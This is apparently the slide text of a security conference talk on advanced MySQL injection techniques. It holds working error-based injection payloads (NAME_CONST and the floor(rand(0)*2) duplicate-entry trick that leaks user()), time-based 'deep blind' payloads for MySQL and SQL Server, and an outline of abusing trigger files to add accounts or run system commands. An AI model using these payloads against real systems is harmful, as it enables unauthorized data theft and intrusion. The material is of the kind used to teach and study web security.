關於SQL Injection的那些奇技淫巧

Orange@chroot.org

chrOot

SQL Injection ?

- Havij
- Pangolin
- DSQL tool
- NBSI / HBSI
- BSQL Hacker
- Domain tools
- SQLmap etc……

This talk is about MySQL !

MySQL Injection (Maybe you know)

- Get data
  - Blind Injection
    - True and False
    -
    -
  - Union Injection
  -
- Read / Write
  - Load_file
  - Into outfile

- Others
  - Information_schema
  -
  -

chrOot

MySQL Injection (Maybe you know more.)

- Get data
  - Blind Injection
    - True and False
    - Time base
    -
  - Union Injection
  -
- Read / Write
  - Load_file
  - Into outfile

- Others
  - Information_schema
  - User-defined function
  -

chrOot

MySQL Development History

Feature	MySQL Series
Unions	4.0
Subqueries	4.1
R-trees	4.1 (for the MyISAM storage engine)
Stored procedures and functions	5.0
Views	5.0
Cursors	5.0
XA transactions	5.0
Triggers	5.0 and 5.1
Event scheduler	5.1
Partitioning	5.1
Pluggable storage engine API	5.1
Plugin API	5.1
InnoDB Plugin	5.1
Row-based replication	5.1
Server log tables	5.1

1 2 3 4

chrOot

MySQL (1/3)

- Get data
  - Blind Injection
    - True and False
    - Time base
    -
  - Union Injection
  - Error Base Injection
- Read / Write
  - Load_file
  - Into outfile
- Others
  - Information_schema
  - User-defined function
  -

chrOot

Error Base Injection

- Like Injection in SQL server
- When to use ?
  - Insert injection
  - Update injection
  - 同樣參數在多個 table 查詢中
  - Query 的資訊不會顯示在頁面中
- How to implement ?
  - Duplicate Error
  - Function Error

Select * from (Select 1,1) as x

Duplicate column name '1'

chrOot

Select * from (select * from user as a join user as b) as x

Duplicate column name 'Host'

chrOot

Select * from (select * from user as a join user as b using(Host)) as x

Duplicate column name 'User'

Select * from (Select user(),user()) as x

Will show user name ?

chrOot

No

Duplicate column name 'user()'

NAME_CONST(name ,value)

Causes the column to have the given name.

```
Select
NAME_CONST('a',1),
NAME_CONST('b',2)
```

a	b
1	2

```
Select * from (Select
NAME_CONST(user(),1),
NAME_CONST(user(),1))
as x
```

MySQL patched it

- MySQL > 5.1
  - NAME_CONST() can not use again.
  - Argument must be const.

- select * from (select count(*),concat((select (select user()) from information_schema.tables limit 0,1), floor(rand(0)*2)) as x from information_schema.tables group by x) as a

- ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 1

What is Duplicate Entry Error?

```
SELECT *
FROM (
        SELECT COUNT( * ) , CONCAT( USER( ) , FLOOR
    2   ( RAND(  ) *2 ) )
        FROM mysql.user
        GROUP BY 2
                    1
) AS a
```

- ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 1

chrOot

Demo

MySQL (2/3)

- Get data
  - Blind Injection
    - True and False
    - Time base
    - Deep Blind Injection
  - Union Injection
  - Error Base Injection
- I/O
  - Load_file
  - Into outfile
- Others
  - Information_schema
  - User-defined function
  -

chrOot

Deep Blind Injection

- Status 200 or 500 ?
- Time base quick or slow ?
- a -> 0x97
  - 9 -> delay 9 seconds
  - 7 -> delay 7 seconds

- So, one char can be solved in two requests.

Deep Blind Injection

```
DECLARE @x as int;
DECLARE @w as char(6);
SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} as
varbinary(8000))),{POSITION},1));
IF @x>=97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*{SECONDS} as char);
WAITFOR DELAY @w
```

Deep Blind Injection

- if(

  ord(substring(hex(user()),1,1))>=97,

  sleep(ord(substring(hex(user()),1,1))-87),

  sleep(ord(substring(hex(user()),1,1))-48))

Implemented by BSQL Hacker

MySQL (3/3)

- Get data
  - Blind Injection
    - True and False
    - Time base
    - Deep Blind Injection
  - Union Injection
  - Error Base Injection
- Read / Write
  - Load_file
  - Into outfile
- Others
  - Information_schema
  - User-defined function
  - Triggers

MySQL Triggers

A trigger is a named database object that is associated with a table, and that activates when a particular event occurs for the table.

When a triggers created

- MySQL/data/database/
  - table_name.TRG
  - atk.TRN

- When update/delete/insert will check above file.
- Generate by self ?

How to Exploit it

- Update / Insert data ?
- Add a MySQL account ?
- Exploit it with UDF ?
  - Cause the MySQL server stop.
  - Maybe a Security Feature or a Bug.

- A SQL injection can run system command !

Demo

Thanks :)

chrOot